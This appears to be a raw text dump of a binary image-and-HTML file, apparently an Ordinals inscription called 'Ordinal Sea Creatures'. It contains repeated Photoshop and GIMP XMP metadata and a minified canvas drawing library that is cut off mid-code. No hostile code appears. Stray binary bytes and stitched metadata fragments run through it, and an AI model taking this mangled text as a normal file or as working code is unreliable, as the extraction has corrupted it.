" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6F30B5E6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6F30B5E7A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6F30B5E4A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6F30B5E5A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6C9FEB54A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6DA6A7D6A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6C9FEB52A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6C9FEB53A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>(A
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:48C20DA7A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:48C20DA8A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:48C20DA5A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:48C20DA6A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>j0",
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8B496100A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8B496101A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8B4960FEA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8B4960FFA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
!2222222222222222222222222222222222222222222222M
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.coM
m/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F621A62B83A2EC11A53AC56C0DD7B71C" xmpMM:InstanceID="xmp.iid:239d9567-63e6-4de3-bfe7-e8cfcd57a4b0" xmpMM:OriginalDocumentID="xmp.did:F621A62B83A2EC11A53AC56C0DD7B71C" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676322148065877" GIMP:Version="2.10.32" dc:Format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmp:CreateDate="2022-03-11T15:51:46+07:00" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDaM
te="2023:02:13T22:02:23+01:00" xmp:ModifyDate="2023:02:13T22:02:23+01:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:F621A62B83A2EC11A53AC56C0DD7B71C" stEvt:softwareAgent="Adobe Photoshop CS5 Windows" stEvt:when="2022-03-13T11:29:10+07:00"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:F721A62B83A2EC11A53AC56C0DD7B71C" stEvt:softwareAgent="Adobe Photoshop CS5 Windows" stEvt:when="2022-03-13T11:29:10+07:00"/> <rdf:li stEvt:action="sM
aved" stEvt:changed="/" stEvt:instanceID="xmp.iid:F821A62B83A2EC11A53AC56C0DD7B71C" stEvt:softwareAgent="Adobe Photoshop CS5 Windows" stEvt:when="2022-03-13T11:46:43+07:00"/> <rdf:li stEvt:action="converted" stEvt:parameters="from image/jpeg to application/vnd.adobe.photoshop"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from image/jpeg to application/vnd.adobe.photoshop"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:F921A62B83A2EC11A53AC56C0DD7B71C" stEvt:softwareAgent=M
"Adobe Photoshop CS5 Windows" stEvt:when="2022-03-13T11:46:43+07:00"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:CC0BC1375DA0EB119316FBB417CF5EBD" stEvt:softwareAgent="Adobe Photoshop CS6 (Windows)" stEvt:when="2021-04-18T22:46:19+07:00"/> <rdf:li stEvt:action="produced" stEvt:softwareAgent="Affinity Photo 1.10.6" stEvt:when="2023-02-12T22:40:51-05:00"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:5a460eaf-818f-49d3-ab22-83be98facf7f" stEvt:softwareAgent="M
Gimp 2.10 (Windows)" stEvt:when="2023-02-13T20:36:36"/> <rdf:li stEvt:action="saved" stEvt:changed="/metadata" stEvt:instanceID="xmp.iid:c46edd4a-72b2-422f-b7e8-81bd044972e1" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T21:47:17"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:1de52107-38e8-4ce8-8b78-110673e472bb" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T21:47:53"/> <rdf:li stEvt:action="saved" stEvt:changed="/metadata" stEvt:instanceID="xmp.iidM
:06431989-4039-4cf5-9499-b09be7abdf53" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T22:02:15"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:a412f6a1-5812-4c47-bf3f-4d451d4d2f6b" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T22:02:28"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:documentID="xmp.did:F621A62B83A2EC11A53AC56C0DD7B71C" stRef:instanceID="xmp.iid:F821A62B83A2EC11A53AC56C0DD7B71C" stRef:originalDocumentID="xmp.did:F621A62B83A2EC1M
1A53AC56C0DD7B71C"/> <dc:creator> <rdf:Seq> <rdf:li>https://rarity.garden</rdf:li> </rdf:Seq> </dc:creator> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Ordinal Sea Creatures</rdf:li> </rdf:Alt> </dc:title> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>xmp.did:5A68BB0087A1EC11A26B99FC9344C9BD</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                              M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                           <?xpacket end="w"?>
Ordinal Sea Creatures
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:529C2BB4A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:529C2BB5A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:510E3AF7A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:510E3AF8A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/html;charset=utf-8
<html><script>function e(e){"use strict";return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100,n.height=100,n.canvas.width=n.width,n.canvas.height=n.height,"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",(function(){document.body.appendChild(n.canvas)}))),y(),n.MAGIC=161533525,n.RGB=0,n.HSV=1,n.HSB=1,n.CHORD=0,n.PIE=1,n.OPEN=2,n.RADIUS=1,n.CORNER=2,n.CORNERS=3,n.ROUND="round",n.SQM
UARE="butt",n.PROJECT="square",n.MITER="miter",n.BEVEL="bevel",n.CLOSE=1,n.BLEND="source-over",n.REMOVE="destination-out",n.ADD="lighter",n.DARKEST="darken",n.LIGHTEST="lighten",n.DIFFERENCE="difference",n.SUBTRACT="subtract",n.EXCLUSION="exclusion",n.MULTIPLY="multiply",n.SCREEN="screen",n.REPLACE="copy",n.OVERLAY="overlay",n.HARD_LIGHT="hard-light",n.SOFT_LIGHT="soft-light",n.DODGE="color-dodge",n.BURN="color-burn",n.NORMAL="normal",n.ITALIC="italic",n.BOLD="bold",n.BOLDITALIC="italic bold",n.CENTER="center",n.LEM
FT="left",n.RIGHT="right",n.TOP="top",n.BOTTOM="bottom",n.BASELINE="alphabetic",n.LANDSCAPE="landscape",n.PORTRAIT="portrait",n.ALT=18,n.BACKSPACE=8,n.CONTROL=17,n.DELETE=46,n.DOWN_ARROW=40,n.ENTER=13,n.ESCAPE=27,n.LEFT_ARROW=37,n.OPTION=18,n.RETURN=13,n.RIGHT_ARROW=39,n.SHIFT=16,n.TAB=9,n.UP_ARROW=38,n.HALF_PI=Math.PI/2,n.PI=Math.PI,n.QUARTER_PI=Math.PI/4,n.TAU=2*Math.PI,n.TWO_PI=2*Math.PI,n.THRESHOLD=1,n.GRAY=2,n.OPAQUE=3,n.INVERT=4,n.POSTERIZE=5,n.DILATE=6,n.ERODE=7,n.BLUR=8,n.ARROW="default",n.CROSS="crosshair"M
,n.HAND="pointer",n.MOVE="move",n.TEXT="text",n.VIDEO={video:!0,audio:!1},n.AUDIO={video:!1,audio:!0},n.SHR3=1,n.LCG=2,n.HARDWARE_FILTERS=!0,n.hint=function(e,t){n[e]=t},n.frameCount=0,n.mouseX=0,n.mouseY=0,n.pmouseX=0,n.pmouseY=0,n.mouseButton=null,n.keyIsPressed=!1,n.mouseIsPressed=!1,n.key=null,n.keyCode=null,n.pixels=null,n.accelerationX=0,n.accelerationY=0,n.accelerationZ=0,n.rotationX=0,n.rotationY=0,n.rotationZ=0,n.relRotationX=0,n.relRotationY=0,n.relRotationZ=0,n.pAccelerationX=0,n.pAccelerationY=0,n.pAcceM
lerationZ=0,n.pRotationX=0,n.pRotationY=0,n.pRotationZ=0,n.pRelRotationX=0,n.pRelRotationY=0,n.pRelRotationZ=0,n.touches=[],n._styleCache=[{colorMode:n.RGB,noStroke:!1,noFill:!1,ellipseMode:n.CENTER,rectMode:n.CORNER,curveDetail:20,curveAlpha:0,textFont:"sans-serif",textSize:12,textLeading:12,textStyle:"normal"}],n._style=n._styleCache[n._styleCache.length-1],n._noLoop=!1,n._pixelDensity=1,n._frameRate=null,n._tint=null;let r=null,a=!0,i=[],l=null,s=0,u={},c=0,h=null,f=null,d=null;Object.defineProperty(n,"deviceOriM
entation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}}),Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}}),Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}}),Object.defineProperty(n,"drawingContext",{get:function(){return o}}),n.createCanvas=function(e,t){return n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,y(),n.canvas},n.resizeCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t},nM
.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o},n.pixelDensity=function(e){return null==e||(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),y()),n._pixelDensity},n.map=function(e,t,n,o,r,a){let i=o+1*(e-t)/(n-t)*(r-o);return a?o<r?Math.min(Math.max(i,o),r):Math.min(Math.max(i,r),o):i},n.lerp=function(eM
,t,n){return e*(1-n)+t*n},n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)},n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])},n.norm=function(e,t,o){return n.map(e,t,o,0,1)},n.sq=function(e){return e*e},n.fract=function(e){return e-Math.floor(e)},n.degrees=function(e){return 180*e/Math.PI},n.radians=function(e){return e*Math.PI/180},n.abs=Math.abs,n.ceil=MM
ath.ceil,n.exp=Math.exp,n.floor=Math.floor,n.log=Math.log,n.mag=Math.hypot,n.max=Math.max,n.min=Math.min,n.round=Math.round,n.sqrt=Math.sqrt,n.sin=Math.sin,n.cos=Math.cos,n.tan=Math.tan,n.asin=Math.asin,n.acos=Math.acos,n.atan=Math.atan,n.atan2=Math.atan2,n.Vector=function(e,t,o){let r=this;r.x=e||0,r.y=t||0,r.z=o||0;let a=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function s(){null==i&&(i=r.x*r.x+r.y*r.y+r.z*r.z,a=Math.sqrt(i))}function u(){i=null,a=null}r.set=function(M
e,t,n){r.x=e||0,r.y=t||0,r.z=n||0},r.copy=function(){return new n.Vector(r.x,r.y,r.z)},r.add=function(){let e=l.apply(null,arguments);return r.x+=e.x,r.y+=e.y,r.z+=e.z,u(),r},r.rem=function(){let e=l.apply(null,arguments);return r.x%=e.x,r.y%=e.y,r.z%=e.z,u(),r},r.sub=function(){let e=l.apply(null,arguments);return r.x-=e.x,r.y-=e.y,r.z-=e.z,u(),r},r.mult=function(){let e=l.apply(null,arguments);return r.x*=e.x,r.y*=e.y,r.z*=e.z,u(),r},r.div=function(){let e=l.apply(null,arguments);return r.x/=e.x,r.y/=e.y,r.z/=e.zM
,u(),r},r.mag=function(){return s(),a},r.magSq=function(){return s(),i},r.dot=function(){let e=l.apply(null,arguments);return r.x*e.x+r.y*e.y+r.z*e.z},r.dist=function(){let e=l.apply(null,arguments),t=r.x-e.x,n=r.y-e.y,o=r.z-e.z;return Math.sqrt(t*t+n*n+o*o)},r.cross=function(){let e=l.apply(null,arguments),t=r.y*e.z-r.z*e.y,n=r.z*e.x-r.x*e.z,o=r.x*e.y-r.y*e.x;return r.x=t,r.y=n,r.z=o,u(),r},r.normalize=function(){s();let e=a;return r.x/=e,r.y/=e,r.z/=e,a=1,i=1,r},r.limit=function(e){s();if(a>e){let t=e/a;r.x*=t,r.M
y*=t,r.z*=t,a=e,i=e*e}return r},r.setMag=function(e){s();let t=e/a;return r.x*=t,r.y*=t,r.z*=t,a=e,i=e*e,r},r.heading=function(){return Math.atan2(r.y,r.x)},r.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=r.x*t-r.y*n,a=r.x*n+r.y*t;return r.x=o,r.y=a,r},r.angleBetween=function(){let e=l.apply(null,arguments);const t=r.dot(e)/(r.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*Math.sign(r.cross(e).z||1)},r.lerp=function(e,t){return r.x=r.x*(1-t)+e.x*t,r.y=r.y*(1-t)+e.y*t,r.z=r.z*(1-t)+e.z*M
t,u(),r},r.reflect=function(e){return e.normalize(),r.sub(e.mult(2*r.dot(e)))},r.array=function(){return[r.x,r.y,r.z]},r.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-r.x)<t&&Math.abs(e.y-r.y)<t&&Math.abs(e.z-r.z)<t},r.fromAngle=function(e,t){return null==t&&(t=1),a=t,i=t*t,r.x=t*Math.cos(e),r.y=t*Math.sin(e),r.z=0,r},r.fromAngles=function(e,t,n){null==n&&(n=1),a=n,i=n*n;const o=Math.cos(t),l=Math.sin(t),s=Math.cos(e),u=Math.sin(e);return r.x=n*u*l,r.y=-n*s,r.z=n*u*o,r},r.random2M
D=function(){return a=1,i=1,r.fromAngle(Math.random()*Math.PI*2)},r.random3D=function(){return a=1,i=1,r.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},r.toString=function(){return`[${r.x}, ${r.y}, ${r.z}]`}},n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)},n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)},n.Vector.sub=function(e,t){return new n.Vector(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):nM
ew n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)},n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)},n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)},n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.z=e.z*(1-o)+t.z*o)},n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAnglM
es","random2D","random3D"])n.Vector[e]=function(t,o,r){return(new n.Vector)[e](t,o,r)};function p(e,t,n){let o,r,a,i,l,s,u,c,h;if(0==t)return[255*(o=n),255*(r=n),255*(a=n)];switch((i=e)>360&&(i=0),u=n*(1-t),c=n*(1-t*(s=(i/=60)-(l=~~i))),h=n*(1-t*(1-s)),l){case 0:o=n,r=h,a=u;break;case 1:o=c,r=n,a=u;break;case 2:o=u,r=n,a=h;break;case 3:o=u,r=c,a=n;break;case 4:o=h,r=u,a=n;break;default:o=n,r=u,a=c}return[255*o,255*r,255*a]}function y(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}fM
unction m(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function g(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;let c=m(i),h=m(l);o.beginPath();for(let i=0;i<u+1;i++){let l=i/u,s=n.lerp(c,h,l),f=Math.cos(s)*r/2,d=Math.sin(s)*a/2;o[i?"lineTo":"moveTo"](e+f,t+d)}s==n.CHORD?o.closePath():s==n.PIE&&(o.lineTo(e,t),o.closePath()),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function v(e,t,r,a){n._style.noFill&&n._style.noStroke||(o.beginPath(),oM
.ellipse(e,t,r/2,a/2,0,0,2*Math.PI),n._style.noFill||o.fill(),n._style.noStroke||o.stroke())}function M(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;if(null==i)return function(e,t,r,a){n._style.noFill||o.fillRect(e,t,r,a),n._style.noStroke||o.strokeRect(e,t,r,a)}(e,t,r,a);if(null==l)return M(e,t,r,a,i,i,i,i);const c=Math.min(Math.abs(a),Math.abs(r))/2;i=Math.min(c,i),l=Math.min(c,l),u=Math.min(c,u),s=Math.min(c,s),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+r,t,e+r,t+a,l),o.arcTo(e+r,t+a,e,t+a,s),o.arcM
To(e,t+a,e,t,u),o.arcTo(e,t,e+r,t,i),o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function _(){i=[]}n.createVector=function(e,t,o){return new n.Vector(e,t,o)},n.curvePoint=function(e,t,n,o,r){const a=r*r*r,i=r*r;return e*(-.5*a+i-.5*r)+t*(1.5*a-2.5*i+1)+n*(-1.5*a+2*i+.5*r)+o*(.5*a-.5*i)},n.bezierPoint=function(e,t,n,o,r){const a=1-r;return Math.pow(a,3)*e+3*Math.pow(a,2)*r*t+3*a*Math.pow(r,2)*n+Math.pow(r,3)*o},n.curveTangent=function(e,t,n,o,r){const a=r*r;return e*(-3*a/2+2*r-.5)+t*(9*a/2M
-5*r)+n*(-9*a/2+4*r+.5)+o*(3*a/2-r)},n.bezierTangent=function(e,t,n,o,r){const a=1-r;return 3*o*Math.pow(r,2)-3*n*Math.pow(r,2)+6*n*a*r-6*t*a*r+3*t*Math.pow(a,2)-3*e*Math.pow(a,2)},n.Color=function(e,t,n,o){let r=this;r.MAGIC=786698,r._r=e,r._g=t,r._b=n,r._a=o,r._h=0,r._s=0,r._v=0,r._hsvInferred=!1,r.setRed=function(e){r._r=e,r._hsvInferred=!1},r.setGreen=function(e){r._g=e,r._hsvInferred=!1},r.setBlue=function(e){r._b=e,r._hsvInferred=!1},r.setAlpha=function(e){r._a=e/255,r._hsvInferred=!1},r._inferHSV=function(){M
r._hsvInferred||([r._h,r._s,r._v]=function(e,t,n){let o,r,a,i,l;return o=e<t?e<n?e:n:t<n?t:n,0==(l=100*(r=e>t?e>n?e:n:t>n?t:n)/255)?[a=0,i=0,l]:0==(i=100*(r-o)/r)?[a=0,i,l]:(a=r==e?0+60*(t-n)/(r-o):r==t?120+60*(n-e)/(r-o):240+60*(e-t)/(r-o),[a,i,l])}(r._r,r._g,r._b),r._hsvInferred=!0)},r.toString=function(){return`rgba(${Math.round(r._r)},${Math.round(r._g)},${Math.round(r._b)},${~~(1e3*r._a)/1e3})`}},n.colorMode=function(e){n._style.colorMode=e},n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGICM
)return arguments[0];if(n._style.colorMode==n.RGB){if(1==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)retM
urn new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null},n.red=function(e){return e._r},n.green=function(e){return e._g},n.blue=function(e){return e._b},n.alpha=function(e){return 255*e._a},n.hue=function(e){return e._inferHSV(),e._h},n.saturation=function(e){return e._inferHSV(),e._s},n.brightnM
ess=function(e){return e._inferHSV(),e._v},n.lightness=function(e){return 100*(.2126*e._r+.7152*e._g+.0722*e._b)/255},n.lerpColor=function(e,t,o){return n._style.colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var r=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.mapM
(o,0,1,e,t-360)]];return r.sort(((e,t)=>e[0]-t[0])),(r[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))},n.strokeWeight=function(e){n._style_noStroke=!1,o.lineWidth=e},n.stroke=function(){if(n._style.noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noStroke=!0:o.strokeStyle=e},n.noStroke=function(){n._style.noStroke=!0},n.fill=fM
unction(){if(n._style.noFill=!1,"string"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noFill=!0:o.fillStyle=e},n.noFill=function(){n._style.noFill=!0},n.blendMode=function(e){o.globalCompositeOperation=e},n.strokeCap=function(e){o.lineCap=e},n.strokeJoin=function(e){o.lineJoin=e},n.ellipseMode=function(e){n._style.ellipseMode=e},n.rectMode=function(e){n._style.rectMode=e},n.curveDetail=function(e){n._style.curveDetail=e},n.curveAlpha=function(e){n._M
style.curveAlpha=e},n.curveTightness=function(e){n._style.curveAlpha=e},n.clear=function(){o.clearRect(0,0,n.width,n.height)},n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity),o.fillStyle="string"==typeof arguments[0]?arguments[0]:n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.height),o.restore()},n.line=function(e,t,r,a){n._style.noStroke||(o.beginPath(),o.moveTo(e,tM
),o.lineTo(r,a),o.stroke())},n.arc=function(e,t,o,r,a,i,l,s){if(a==i)return n.ellipse(e,t,o,r);null==s&&(s=25),null==l&&(l=n.PIE),n._style.ellipseMode==n.CENTER?g(e,t,o,r,a,i,l,s):n._style.ellipseMode==n.RADIUS?g(e,t,2*o,2*r,a,i,l,s):n._style.ellipseMode==n.CORNER?g(e+o/2,t+r/2,o,r,a,i,l,s):n._style.ellipseMode==n.CORNERS&&g((e+o)/2,(t+r)/2,o-e,r-t,a,i,l,s)},n.ellipse=function(e,t,o,r){null==r&&(r=o),n._style.ellipseMode==n.CENTER?v(e,t,o,r):n._style.ellipseMode==n.RADIUS?v(e,t,2*o,2*r):n._style.ellipseMode==n.CORNM
ER?v(e+o/2,t+r/2,o,r):n._style.ellipseMode==n.CORNERS&&v((e+o)/2,(t+r)/2,o-e,r-t)},n.circle=function(e,t,o){return n.ellipse(e,t,o,o)},n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()},n.rect=function(e,t,o,r,a,i,l,s){n._style.rectMode==n.CENTER?M(e-o/2,t-r/2,o,r,a,i,l,s):n._style.rectMode==n.RADIUS?M(e-o,t-r,2*o,2*r,a,i,l,s):n._style.rectMode==n.CORNER?M(e,t,o,r,a,i,l,s):n._style.rectMode==n.CORNERS&&M(e,t,o-e,r-t,a,i,l,s)},n.square=function(e,t,o,r,a,i,l){returnM
